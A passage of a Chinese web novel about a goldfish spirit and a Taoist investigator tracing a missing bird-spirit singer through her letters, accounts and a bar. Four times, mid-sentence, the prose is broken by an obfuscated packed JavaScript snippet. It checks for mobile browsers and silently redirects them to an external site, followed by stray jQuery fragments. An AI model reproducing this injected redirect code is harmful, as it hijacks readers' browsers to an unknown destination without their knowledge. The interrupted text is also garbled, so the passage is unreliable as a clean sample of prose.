“哪有人说自己黑的。”秦巡看不下去吐槽。 余一安没理他,看着照片笑得傻乎乎的。 闻言,江元白眼皮一跳,忽然有了兴趣。 “我看看。” 他把照片接过去,仔细查看。 相框是木制的,看上去有些年头了,不过从它边缘温润的触感能知道它的主人应该是经常拿在手上反复观看。 看得出来照片拍摄者的拍照手法应该并不熟练,画面里的背景昏暗,上面的两个小孩看着也黑乎乎的,裂开一口特别显眼的白牙,笑容灿烂。 也难怪余一安说自己黑。 江元白一眼就把目光落在了左边的小孩身上。 虽然画面效果不好,但是依旧能够看出对方幼年时期和现在如出一辙的圆溜溜的双眼和浅浅的梨涡,头顶用红绳扎了个憨憨的小啾啾。 他挑了挑眉,又看向右边的小孩 这便应该就是莺九了。 莺九看上去似乎比余一安大上一点,顶着一头与现在完全不同的短发,大剌剌地滋着,加上黑黑的脸,像一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376600|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假小子。 “看上去和现在的莺九完全不一样。”他得出结论。 江元白为了调查是看过莺九的照片和表演视频的。 在人类界的莺九有一头柔顺及腰的长发,笑容也是柔和的,完全看不出一点妖怪的迹象。 “莺九以前最讨厌长头发了,她老说长长的绕在一起会打结。” 余一安回忆着,面上露出不解的表情:为什么莺九现在留了一头她最不喜欢的长发呢? “人都是会变的。”江元白淡淡道。 他没有解释什么,只是把相框轻轻搁置到一边,拿过自己方才放在旁边的黑色盒子。 盒子约莫两个手掌大小,全身为金属材料制成,上方的银色密码装置在灯光下反射出精密的光泽。 “这盒子上面有密码,”江元白指尖轻点着上面的银色装置,道:“需要带回去让技术科的人专业破解。” “行。”秦巡在一旁点点头,记录下来。 江元白把盒子放到了一边,转而拿起另外的一沓泛黄的纸张。 不过余一安对这些纸并不怎么感兴趣,跑到一边去摆弄那个黑盒子了。 江元白也没管她做什么,只继续对着秦巡说着:“我刚刚看了下,这大概是莺九近两年多的账单记录。” 可以说这些年莺九基本所有的花销和收入都涵盖在这些账单里面了。 “不过”,江元白话锋一转,说出了他发现的一个异常,“这里所有的账单并没有包括莺九下山后的三个月的消费记录。” “三个月?” “对。”江元白点头,转而问道:“莺九是什么时候在那家酒吧开始驻场的?” “我看看啊,”秦巡翻着手中手中的记录本,纸张沙沙作响,“找到了……” “是两年前……大概是她下山后的第二个月。” “这间房子的租住时间呢?” 秦巡继续翻着资料,然而将整份档案翻了个遍,一无所获。 “没有找到。”秦巡合上文件夹,面色微沉,他们收集的资料里面并没有相关记载。 看来这是一个信息缺口。 江元白若有所思,手上快速地翻看着每一张账单,脑子飞速对比着里面的信息。 这份账单十分详细,涵盖了莺九生活的方方面面,从日常饮食到生活购置,事无巨细地记载着对方的每一份开销。 经过一番排查后,他发现了一点奇怪的地方。 “你看这些,”江元白指尖点在发黄的纸面上,“每个月的账单上都有一笔用途不明的支出。 可以看到每个月支出的金额不同,但是无一例外都占了她每月收入的百分之三十左右。 “最重要的是,”江元白沉吟道,“每个月都有,两年多的时间内从未间断。” 他指节抵着下巴,心中怀疑莺九可能暗地与某个人或者妖有长期交易。 并且这个交易与她入驻酒吧的时间十分吻合。 “看来我们得去那个所谓的蓝调调查一下了。” 想到酒吧里嘈杂喧闹的场景,江元白心中隐隐有些排斥。 这钱是真难挣啊。 他垂下眼睫,几不可闻地叹了口气。 忽然,余一安咋咋呼呼的声音在安静的室内骤然响起。 “这盒子,怎么打开了?” 12. 哭唧唧的妖怪 两人循声望去,就见到黑盒竟然真的被打开了。 “你知道密码?” 秦巡有些好奇密码是什么。 余一安摇摇头,道:“是我乱按的。” 她本来只是试着玩,没想到盒子竟然直接咔哒一声就开了。 不过,她回想了下刚刚按下的数字,好像是她和莺九认识的那天。 不过她也记不太清了,反正是一个白茫茫的落雪天。 “你运气还挺好。”秦巡感叹道。 余一安歪歪脑袋,道:“真的吗?” 她好像没什么感觉。 “反正比我好。”秦巡感觉自己大概就没运气好的时候。 江元白没理他们,径直将黑盒里面的东西拿了出来。 盒内是一封封的整齐码放的信件,每一封都精心包装着,信封上的发信人写着莺九,而收信人是……小鱼。 “这些好像都是莺九写给你的信。”江元白神色微动。 “啊?”余一安呆了瞬,眼睛瞪得圆圆的。 莺九竟然给她写信了?可是她从来都没收到过。 “给我看给我看!莺九给我写的信!” 她十分激动地蹦到了江元白面前。 江元白将整叠信件都递给了她。 这里总共有四十四封信,其中有六封是余一安写给莺九的,剩下的三十八封全是莺九写给余一安的。 莺九下山总共三年两个月,刚好是三十八个月,也就是说每个月她都给余一安写了一份信。 不过莺九给她写了信为什么不寄给她呢? 余一安小小的脑袋想不明白。 她从三十八封信里时间最久远的开始看起。 随着阅读,她的表情渐渐变了。 等她看完前面两封信时,脸蛋已经皱成了一根小苦瓜。 “怎么了?”秦巡看着她表情的变化,想知道里面写了啥。 余一安瘪瘪嘴,道:“莺九好惨啊。” 好可怜的莺九。 江元白心中微动,道:“我能看看吗?” 余一安没看他,只点了点头,继续看后面的信。 江元白拿起她已经看完的两封信,一目十行地看了起来。 看完后,他的表情也复杂了起来。 这让一旁的秦巡更好奇了,抓心挠肝地想知道里面到底写了什么。 看他的样子,江元白了然地将信递了过去。 等秦巡看完后,他也不得不说一句,莺九的下山经历确实坎坷。 之前没有提到的是,莺九下山并没有走正规程序,因为办理下山的手续流程要近半年时间,因此她选择了先下山,后办手续。 下山后的莺九没有人类的身份证,再加上不怎么熟悉人类的文化,因此在人类社会寸步难行。 不过也还好莺九是只妖,她可以化为原型在城市里面风餐露宿。 睡觉在树上睡,吃饭捡垃圾吃。 期间她见有人可以捡垃圾挣钱,于是她也去捡垃圾得了些钱,结果到手没多久就被人骗走了。 在这期间她还经历了各种各样的挫折,就在她灰心丧气决定返山时,她遇见了一个妖怪。 那是个三尾猫妖,见到她的狼狈模样后,给她介绍了另外一个妖。 那个妖应该算是是人类社会里面类似中介的存在,他给莺九找了住处,又介绍了工作,让她从此在人类社会生存下来。 从两封信的表达来看,能看得出来莺九十分信任他。 “你怀疑那个妖?”秦巡看向江元白,询问道。 江元白微微颌首同意了他的说法,接着补充道:“只是初步怀疑。” “先把信看完再说。” 他把视线转向余一安,看着对方一会咧嘴嘿嘿笑,一会又气鼓鼓地皱眉,脸上像调色盘似的,热闹得很。 江元白看了会,感觉颇有意思。 秦巡以为他在思考案情,于是在征得余一安同意后去取了对方看完的信继续看了起来。 余一安一封接一封信地看着,后面的三十多封信里,莺九的笔调越发轻快,不像前两封信那样沉重。 信里描绘了莺九在人类社会里经历的点点滴滴。 有她在驻唱时从青涩到成熟的跃变,有她签了经纪公司,名气一点点上涨,拥有越来越多喜爱她歌声的粉丝,还有那个一点点累积的从无到有的家…… 余一安忍不住沉浸在莺九的世界里,为她开心,为她难过,为她拥有的新生活感到畅意。 直到她看到了最后一封信。 最后一封信里解释了这三年里莺九没有给余一安寄信的真相。 在最初的两个月,因为处境艰难,虽然写了信,但是并不想让余一安担心,便也没寄信回去。 再后来,虽说她在人类界混得如鱼得水,但是那位给她介绍工作的妖怪一开始提出过一个要求——在三年内不可以联系任何妖族,这便就导致三年里余一安没有收到一封信。 而莺九写最后一封信时正好是三年之期的最后一个月。 信纸最后,莺九的字迹格外轻快:【最近刚接了份综艺,等我忙完这个节目就能休假啦。小鱼你再等我半个月,到时候我就亲自把所有的信都带回去给你,当面给你赔罪。等我回来给你唱新学的歌哦!】 看到这里,余一安的眼圈蓦然红了,眼泪在眼眶里打着转。 也就是说,本来只要再过没几天,她就能够见到莺九。 就差那么几天……要是早一点,说不定莺九就不会失踪了。 余一安咬着牙,她现在真的是讨厌死了那个失踪案的幕后黑手了。 “小鱼你……怎么了?”秦巡忽然注意到她的表情,有些摸不着头脑,于是小心翼翼地问道。 闻言,江元白不动声色地将视线放过去。 “呜呜……” 不说还没事,一有人关心余一安就忍不住哇哇哭了起来。 她抹着眼泪,断断续续说道:“莺九……莺九差一点…就能回来了……” 越想她就越难过,顿时哭得更大声了。 秦巡顿时有些不知所措。 天知道他最怕会哭的女孩子了。 江元白被她的哭声吵得脑瓜子嗡嗡的,不得已安慰道:“放心,我们能把她救回来的。” 闻言余一安抬起头看向他,停下了动作,抽抽噎噎地开口:“真……真的吗?” 以她这两天的观察来看,她感觉小道士的脑子挺好用的,说不定真的能把莺九找回来。 “肯定可以。”江元白的声音充满了自信。 有他江元白出马,那肯定轻轻松松。 见他这副笃定的模样,余一安有些相信了他的话,情绪慢慢缓和下来。 “谢谢你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376601|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她的声音因为刚刚哭过有些沙哑,但是态度却十分认真。 “咳……”江元白面色有一瞬间的不自然,“没事,毕竟是我的工作。” 拿钱办事,天经地义嘛。 秦巡在一旁附和:“放心,我们肯定给你把人……把妖救回来的。” “嗯嗯。” 听到这句话,余一安擦了擦脸颊,对他们露出一个傻乎乎的笑容。 真是条傻鱼。 江元白心中略微嫌弃地想着。 不过他接下来看信件内容时的神情更加认真了。 许久,江元白将最后一封信整齐地叠放在桌面,心里总结出了一些重要线索。 他手指摩挲着下巴,见秦巡开始记录后,缓慢开口:“那个中介妖,很可疑。” “莺九的每个月账单里支出的百分之三十收入,我怀疑很有可能就是给他的。” “秦巡,你试试能不能查出那些支出的流向。” 秦巡一边口中答应,一边手中刷刷刷飞快写着。 余一安也认真地在一边竖起耳朵听着。 江元白不动声色地扫了她一眼后,继续道:“还有那个三尾猫妖……” 想到这,他转头看向江元白,问道:“妖族有一位三尾猫妖吗?” 余一安神情茫然了一瞬,眨巴眨巴眼,在脑海里过了两圈,确定没什么印象后才摇摇头道:“我不认识,不过可以去问问熊三叔叔。” 熊三是妖族的几位长老之一,他主要负责管理妖族成员的登记,可以说几乎所有的妖族都通过他被登记在册。 要说最清楚妖族有哪些妖的妖怪,那就数熊三莫属了。 “熊三……” 江元白在心里默念这个名字,低头沉吟不语。 片刻后他抬起头,在两人的目光中看向秦巡,吩咐道:“你这两天去联系一下妖族,问问有没有这样一位三尾猫妖。” “行。” 秦巡干脆利落地应了声,问道:“还有别的吗?” 江元白摇摇头,可惜莺九信件里面的内容关于那个中介妖的内容比较少,除了第二封信有过一些叙述外,其余基本都是关于她自己的事。 秦巡倒是有话要说,他心里有个想法。 “你说,会不会就是因为三年时间到了,莺九准备离开,对方才会对她下手?” 江元白闻言一怔,脑中思绪飞快转了两圈,点头道:“也不是没有这种可能。” 余一安听到这个说法后,垂下了眼,神色有些低沉。 那如果是这样的话,莺九回来是为了见她,算不算是她害了莺九呢。 注意到了她的神色变化,江元白抿了抿唇,轻声道:“但是也有概率是早有预谋。” “什么意思?” 秦巡不解,余一安也身体前倾,睁着圆溜溜的双眼一眨不眨地望向他。 “我觉得,那些失踪的妖怪极有可能都与那个中介妖有过深入的接触。” 他语气顿了顿。 “当然,这只是一个猜测。” “啊!” 余一安倒吸了口气,也就是说,“那个坏妖早就盯上莺九了?!” 江元白强调道:“只是有可能。” 但是如果以这种可能性去推测的话,他有些不理解为什么对方等待了三年才下手? 并且,很有可能不止三年。 13. 用手机的妖怪 快到凌晨时,余一安终于洗漱完,穿着暖乎乎的睡衣趴在被窝里。 现在本应该是睡觉时间,但是她还有一件事没干。 想了想,她先从兜里掏出来一颗糖,撕开糖纸放进嘴里。 唔~水蜜桃味~ 感受着甜意逐渐在嘴里像涟漪般荡开,余一安圆圆的双眼顿时满足地眯成了两抹月牙。 她摸着口袋里仅剩十五颗的糖果,心想等下回写信叫熊三叔叔寄一些过来。 这些水果糖是熊三的独门秘方,不过在小鹿儿山上只有余一安能享受得他的手艺。 嘴里含着糖果,余一安的腮帮子一鼓一鼓的,她拿出今天白天许漠给她的那张写了联系方式的纸。 淡黄色的纸张上还带着一股厚重的香气。 余一安不知道这是什么味道,不过感觉还挺好闻的。 她伸手打开手机上的绿泡泡软件。 上回她给温再玄寄了手机,不过对方给她回信里说山上没有信号,手机联系不上。 因此她的列表里面只有两个联系人,一个备注“白白”,另一个备注“会长”。 她好奇地点进江元白的个人资料,对方的头像似乎是一只坐在海边的小狐狸。 她又退出去,发现他们的对话框内还没有任何聊天记录。 余一安觉得这样不是很好,于是给两人都发了一个写着“你好”两个字的猫猫头表情包——当她在输入框输入“你好”时自动跳出来的图片。 余一安觉得很可爱,并且收藏在了自己的表情包库里面。 不知道有没有小鱼版的。 她一边想着,一边将纸上的联系输入进去,就看到一个信息页面弹了出来。 对方的头像是一片白色,昵称是一个点。 余一安点了添加好友。 不过估计是太晚了对方已经睡觉了,她等了好几分钟都没有任何动静。 这时,手机忽然“嗡嗡”振动了下。 是会长。 余一安兴致勃勃地打开对话框,看看对方给她发了什么。 会长:余小姐这么晚还没睡啊。 余一安先是点点头,随即反应过来对方看不到,于是噼里啪啦地开始打字。 小鱼呀:是呀是呀,会长你也还没睡呢。 会长的消息过了一会儿才发出来。 会长:马上就睡了,现在熬夜比不上年轻人了。 会长:余小姐你也早点睡。 余一安看完回了个“好的”后,就再也没有下文了。 她看着一点动静都没有的手机,心想:这手机好无聊,也不知道为什么那些人类出门走路都要盯着它看? 没想出结果,余一安顺手把手机丢到一边,刷完牙躺床上就睡着了。 第二天起来时正好是七点半。 刚起床似乎有些迷糊,余一安有些虚焦的眼神在一分钟内渐渐变得清明起来。 她愣愣地盯着前方,醒神后的第一件事就是摸了摸肚子。 饿了。 找白白去~ 她刷完牙洗完脸,就飞快地“哒哒哒”跑出去敲了隔壁房门。 不一会,江元白顶着一张黑脸打开了门。 他已经被连续吵醒三天了。 他心里琢磨着:得想办法让这条傻鱼早上去别的地方觅食了。 反正不要再来打扰他了。 整整三天加起来,他已经少睡了好几个小时了。 好几个小时! 江元白默默盯着余一安进屋的背影,周身怨气逼人。 今天江元白做的是炸酱面。 不能怪他天天下面,毕竟他家里自从被余一安洗劫后,只剩下面条了。 不过虽然又是面条,余一安依旧馋得口水直流。 油亮的杂酱包裹着筋道的面条,肉沫酥香混着辛辣的姜蒜,热气腾腾,酱香浓郁。 余一安直接就是一个埋头苦干。 可以说,这三天吃的面应该是她九十九岁以来吃过最好吃的了。 至于最难吃的,那就要数她娘亲亲手做的饭菜了。 江元白这次做得比较多,他比余一安更快放下筷子。 暂时闲得无事,于是他忍不住将视线落在对面的干饭鱼身上。 看得出来对方真的很热爱吃饭,一口接一口,腮帮子鼓鼓的像只小松鼠,眉眼弯弯的,时不时溢出一声满足的叹息。 有一个妖怪喜欢他做的饭。 说实话,这种感觉还挺新鲜。 要是让那个人知道了,估计得气死。 想到这里,江元白因为余一安的三番五次打扰而不爽的心里终于舒坦了。 …… 妖怪协会会长办公室。 三人一妖围绕桌子开着会。 江元白大致将这些天的发现讲了下。 “大概就是这样,至于更详细的,你可以去看一下秦巡那里的资料记录。” 他对苍阳华道。 苍阳华微微颌首,表示了解。 “也就是说,”他叹了口气,总结道:“目前的情况不仅涉及了妖族,还涉及了明道和古武世家?” “是这样没错。”江元白点头。 苍阳华揉着眉心,感觉有些难办。 以妖怪协会的能力,实在难以参杂这么复杂的案件。 不过想到妖族也在配合这次调查,他缓了缓道:“你刚刚说的那个三尾猫妖我会去联系下妖族问一下。” “还有那个符咒……”苍阳华思考了下,忽然目光一凝,像是想起来了什么。 “我记得大概十多年前,道界忽然冒出了个不知道从哪来的道士,不过十多岁的年纪,却是个奇才。” “他天赋极高,小小年纪就在道术符咒上造诣惊人,一时间他在道界风头无两,盛誉加身。” “更惊人的是,”苍阳华顿了顿,“他研究出了能够让普通人使用的符咒。” 闻言,江元白和秦巡表情微变。 看着他们的表情,苍阳华叹息一声,道:“这个消息散出去后,在整个道界引起轩然大波。” “大批道士斥责对方是离经叛道,颠覆正统,通通联名上书,要求将那邪道废了修为逐出道界。” “后来,在围剿之下,那名道士消失在了视野之中。” 苍阳华说着眼中闪过了一丝讽刺,“后来这个人成为了道界的禁忌,所有有关他的内容都被封存了起来。” 听到这里,秦巡面上带着毫不掩饰的嘲讽,道:“这些道貌岸然的伪君子!” 江元白嘴角勾起一抹同样讥嘲的弧度:“这个符咒的出现能直接砸了他们吃饭的饭碗,可不得直接扼杀在摇篮里。” “那那个道士最后去哪里了呢?”余一安问道。 苍阳华摇摇头,他也不知道。 “就像是他的出现一样,忽然就消失了。” 他一度怀疑是那些所谓的正派道士用了什么见不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376602|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得人的手段。 “不过,”苍阳华沉吟一声,“如今那符咒的重现,看来中间应该还有些故事。” 也不知道对方是否还活着…… 想来应该和他差不多大了吧。 “对方叫什么?”江元白问道。 “我想想……”苍阳华在记忆里扒拉了一圈,终于在角落里找到了一个名字。 “没记错的话,应该叫……单承恩。” “单承恩?” 余一安心想这名字怪怪的。 江元白和秦巡都对这个名字没有任何印象。 “我到时候让协会去查一下。” 苍阳华沉吟着开口:“不过不一定会有结果。” 毕竟在当年那件事后,这个名字估计在很多老道士口中都是不可说的存在。 江元白表示理解。 “你们收集的这些情报我之后会同步给妖族,他们同时也会配合我们的调查。” 说到这个苍阳华就有点不能理解,如今科技都这么发达了,这群妖族还在用传统信鸟传信的方式交流信息。 他们这来回交换情报的速度最少也得半天。 有一说一,现如今下山后返山的妖怪也并没有太少,也不知道为什么没有把手机电话这些设备推广开来。 对此,那些妖怪却是有苦说不出。 山上根本就没有信号,手机完全用不了,带上去和一个会发光的砖头没什么两样。 “还有明道那边……”说到这个名字苍阳华就感觉头疼。 明道这个组织虽然在道界大名鼎鼎,但是实际上却是十分神秘。 没有人知道它是怎么出现的,怎么运转的,背后创建的人是谁。 最关键的是,这个组织目前具有的影响力确实越发壮大。 堪比道界那些最传统的道门家族。 想到这里,他看向江元白,欲言又止道:“说不定他可能知道。” 闻言,江元白脸色一下子沉了起来。 “我不可能去再见他的。” 他的声音冷凝得仿佛随时能滴出水来。 苍阳华见状,连忙安抚他:“我也就随口一说。” 江元白点点头,表示知道了,但是面色依旧不好。 苍阳华顿时在心里恨不得抽自己一下,叫你哪壶不开提哪壶。 明知道对方的关系不和,还要说这个。 不过想到那些事情,他不得不感慨下真是造孽。 他还是第一次见有不爱孩子的父亲。 虽然他没有孩子,但是想到自己若是有个与他血脉相连的孩子,怕是恨不得把命都给对方。 为了缓和气氛,苍阳华又提起了古武世家。 “说来也怪,古武那群老家伙向来和道门势同水火,这次不知道怎么搅和在了一起……” “这两天我去找他们探讨一下。”他余光扫到江元白似乎已经被转移了注意力,暗自松了口气,继续道:“依我看,八成是他们家族里哪个小辈,觉着有意思,背着族里掺和进去的。” 秦巡闻言冷笑:“怕是到时候被人啃的骨头都不剩了。” “也不一定,加入‘明道’的基本都是些散修道士。” 想那些有家族的,盘根错节,不知道有多少家底撑着呢,人家也不是光靠道术吃饭。 想到这里,他又不留痕迹地看了眼江元白。 唉,这些事太复杂了,他这个快到老年的人以后还是不掺合了。 14. 讨厌问号的妖怪 在协会汇报完后,他们回到了江元白家中。 开始讨论接下来的调查方向。 秦巡翻着自己那本写满了密密麻麻字迹的记录本,最后停在其中一页。 “按照监控最后显示的那片区域,我们的人员在那附近都翻找了好几遍,”秦巡看着最后的结果,道:“但是没有任何发现。” 江元白面色不变,这个结果在预料之中。 余一安听到没有收获,表情顿时有些蔫蔫的,头顶的呆毛都耷拉了几分。 她双手撑在下巴上,神情认真地听着秦巡说话。 “关于那个中介妖,我们目前需要妖族提供一份还在人类社会活动的妖怪名单。” “以妖族那边的速度,估计今晚才能拿到。” 秦巡叹了口气,感觉妖怪协会和妖族那边都是一个巨大的草台班子。 江元白沉思了会,道:“目前有一个可能不是很好的现象。” “莺九不是从正规渠道下的山,”他分析着,“可能绝不止莺九一个妖是通过这个途径潜入人类社会。” “可能很少,也可能会很多。” 说到这里,江元白开始感觉头大。 这个情况不是一般的复杂。 毕竟如果是这样的话,很难调查得清楚到底还剩多少妖怪还在人类社会活动。 秦巡一边听一边查看资料,缓声道:“目前已确认的十三个处于失踪状态的妖怪皆是登记在册的。” 随即他又补充道:“不过他们在人类社会呆得最短的时间也有两年。” 因此这并不能说明这些妖怪是否是在办理正规手续后再下的山。 “不过,”江元白想起什么,“那些走非正规程序的妖怪大多数很有可能在申请后再离开的。” 毕竟这样能够最大程度节省时间和精力。 总而言之,还是妖族的管控实在是太过松散。 “秦巡,你给会长说一下,让他联系妖族的时候记得补充一条,将最近还在申请中的妖怪名单一起发过来。” 对方应了声,表示收到。 江元白脑中思绪飞转,片刻后才继续开口:“我有些怀疑。” “那个中介妖很有可能就是挑那些走漏洞的妖怪下手。” 因为一般来说,正规途径下山的妖怪们可以选择是否向妖怪协会寻求帮助,如果他们选择求助的话,协会会在一段时间内帮助他们适应在人类界的生活。 而且那个中介妖的抽成不低,时间还长,也就只能骗骗那些涉世不深的小妖怪了。 估计有过交易的妖怪占比并不是很大。 不过这也是江元白的猜测,具体如何还是不好说。 “到时候重点排查一下那些下山时间对不上的那些妖怪。” 江元白最后下了决定,示意秦巡汇报下一个进度内容。 还没等秦巡开口,余一安忽然想起了什么,兴冲冲地对二人道:“我想起来了!” 两人闻言齐齐将目光转向她,等待着对方说话。 “我记得没办手续的妖怪是不能想下山就下山的。” 余一安咬着手指回忆着,“我之前在河里睡觉的时候听到有两个妖怪在讨论。” 那会她不想上课,一个妖偷偷跑到小河里变成原型躲里面睡懒觉,谁知道迷迷糊糊被两个妖怪的声音吵醒了。 “我听到说……”她晃了晃脑袋,使劲回想着那两个妖怪谈论的内容,“想直接下山的话,需要……” “找一个妖怪。” “那个妖怪是谁?”江元白追问。 “我不知道,”余一安摆摆头,有些闷闷不乐道:“他们没有说名字,他们就说了‘那个妖’。” 既没有姓名,也没有透露出任何特点。 只知道是一个妖怪。 江元白若有所思地点点头,这就得是妖族那边该调查的事了。 看来到时候苍会长联系那边的时候还要再加一条要求。 见余一安的回忆结束了,秦巡这才翻到下一个内容,开始说道:“莺九驻唱的那个酒吧调查结果出来了。” “那酒吧目前开业近十一年,坐落在老城区那片区域。” 秦巡回忆着调查内容,不急不缓道:“开业这么多年一直是不温不火的状态,没啥名气,直到莺九驻唱后才忽然吸引了一批人流量。” “不过在莺九被签走后,没多久又恢复了以往冷清的样子。” 秦巡合上档案册,说出最后一条内容:“至于蓝调酒吧的拥有人则是一个普普通通的人类,并没有看出什么特殊之处。” 从这些调查结果来看,蓝调似乎只是一个再普通不过的小酒吧。 “没什么人的话,这家酒吧开业十一年,那它是靠什么赚钱的?”江元白蓦然开口。 秦巡闻言一愣,想了下,道:“这酒吧老板好像现在不止这处产业。” 他眯着眼回想着,道:“这家酒吧是他最初的产业,在刚成立的时候客人挺多,还是赚了不少钱的。” “后来老城区搬迁,也就冷落了下来。” “不过那会老板已经投资了其他产业赚了不少钱,再加上这家酒吧是他最初创办的,也不太舍得直接关了门。” “而且虽然人流量少,但是也不是没有人,”秦巡补充着,“虽然不赚钱,但是也不会达到亏损的水平。” “所以这个酒吧也就这样一直开了下来。” 他最后总结道。 “表面上看不出来异常……”江元白目光下垂,沉思道:“也不排除暗地交易。” “你让协会再暗中排查一下老板的社交范围内有没有什么可疑人,”他指节点点桌子,做下决定,“我们今晚先去蓝调查探一下情况。” ”等资料调查出来后,咱们再去找那个酒吧老板询问一下。” “好。” 余一安和秦巡齐齐点头。 “行吧,你们先回去,我再自己整理下思路。”江元白对两人道,“大概晚上七点在我家集合就行。” …… 余一安回到了隔壁房间,进门的第一步就是脱掉鞋子窜上了床。 唔~还是被窝舒服。 她脸颊在被子上蹭啊蹭,发出一声满足的谓叹。 等心情终于缓和了些,余一安忽然想起来昨天申请添加了许漠的好友,今天还没看呢。 她拿起一边昨天随手乱丢的手机,打开了软件。 一打开就看到界面上两个小红点。 一个是江元白发的,另一个则是许漠发的。 看来许漠同意了她的好友申请,余一安有些开心地晃了晃脑袋。 她先点开了江元白的聊天界面,就看到江元白在早上八点多钟时发了一个光秃秃的问号。 【白白:?】 余一安瞪着那个问看了好几眼,总感觉对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376603|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在敷衍自己,顿时不开心了。 臭白白。 她瘪了瘪嘴,想了下,手指头在屏幕上戳戳,也回了个同样光秃秃的问号。 【小鱼妖:?】 哼哼~ 余一安这才消了气地退出去,点进了许漠的对话框。 【.:是小鱼吗?】 余一安歪歪头,第一反应是对方为啥叫她小鱼,他们又不熟。 不过她大鱼有大量,不计较这些小事情啦。 余一安开始一个字一个字地打字。 【小鱼呀:是我哦~】 【小鱼呀:你好.jpg】 她点点手指将昨天保存的猫猫头表情包发了出去。 看着那个可爱猫猫头,她感觉十分满意。 大约是许漠现在有空,没一会儿就看到上方显示“正在输入中”几个字。 【.:不好意思昨晚睡了,今天才看到。】 对方先道了个歉。 余一安看到这个顿时对许漠好感度上升,这个回复和江元白的那个孤零零的问号一对比,顿时显得多有礼貌。 她再次在心里批判了江元白一顿。 翻了个身,她晃着脚丫子继续回对方消息。 【小鱼呀:没关系的。】 想了想,她又学着对方的语气回了句。 【小鱼呀:是我昨晚太晚了。】 许漠回得很快。 【.:年纪大了,不像以前,熬不了夜了。】 【.:我记得你妈妈以前也是个夜猫子。】 余一安先在心里反驳她才不熬夜,她是一条早睡早起的金鱼。 下一秒看到对方说到她娘亲的事后,顿时被吸引去了注意力。 【小鱼呀:你是什么时候认识我娘亲的呀?】 【.:二十二年前。】 对方消息回得很快,想来是不假思索就发了出来。 余一安歪着头想了想,好像是娘亲下山的那一年。 那一年她七十七岁,却迟迟不能化形,身体也开始变得愈发虚弱,她娘亲特别着急,嘱咐好温再玄照顾好她后就下山寻找救她的办法了。 【小鱼呀:那你怎么认识她的呀?】 许漠过了快一分钟才发来消息。 【.:这个就说来话长了。】 【.:大概是一个英雄救美的故事吧。】 余一安见到这两条消息,心想果然是她娘会干出来的事情。 【小鱼呀:我娘亲救了你吗?】 【.:对啊,你娘从天而降,三下五除二就把我救出来了。】 【小鱼呀:哇~我娘亲好厉害!】 余一安看到这里激动不已,在床上蹦起来跳了好几下。 可怜的床垫忍不住发出好几声嘎吱嘎吱的惨叫声。 【.:你娘亲是世界上最厉害的人。】 许漠发出这句话后,又连续发了好几条消息。 【.:抱歉小鱼,我这里忽然有事要忙。】 【.:今天和你交流很愉快。】 【.:下回有空再继续和你讲和你娘的事吧。】 余一安见状有些遗憾,不过想到之后能知道更多关于娘亲的事迹,又觉得满足了。 她又看了看和江元白的聊天框,对方不知道在干什么,还没有理她。 余一安气哼哼对着对方的头像戳了好几下,这下感觉更满意了。 15. 喝酒的妖怪 晚上八点半,调查组非常准时地到达了蓝调酒吧。 两人一妖打量着面前的酒吧。 不愧是十一年前的开的酒吧,看着就有一股年代感。 裸露的红砖墙装饰着齿轮铁框,褪色的木纹门旁垂着两盏铜灯,做旧的招牌上闪烁着花里胡哨的光。 不得不说,放在如今也是十分有特色的。 他们推开门一同走了进去。 酒吧内部的风格与外部一脉相承,昏黄的钨丝灯映着红墙,金属管道纵横交错。 环视一圈,吧台后的酒保穿着修整,正慢条斯理地擦拭着玻璃杯,三三两两的客人散落在四周,舒缓的音乐流淌在空气中。 看来这个酒吧确实生意不好——江元白在心里下了定论。 在他们中间,余一安和江元白从未去过酒吧这种地方。 只有秦巡是这些地方的常客。 只见他轻车驾熟地带着他们坐到了吧台前的高脚凳上,看了眼酒单,熟练地给酒保说道:“一杯Daiquiri,加青柠。” 余一安看着他行云流水般的动作,有一点懵,他们不是来查案的吗。 “你们要喝点啥?”秦巡点完后看向他们。 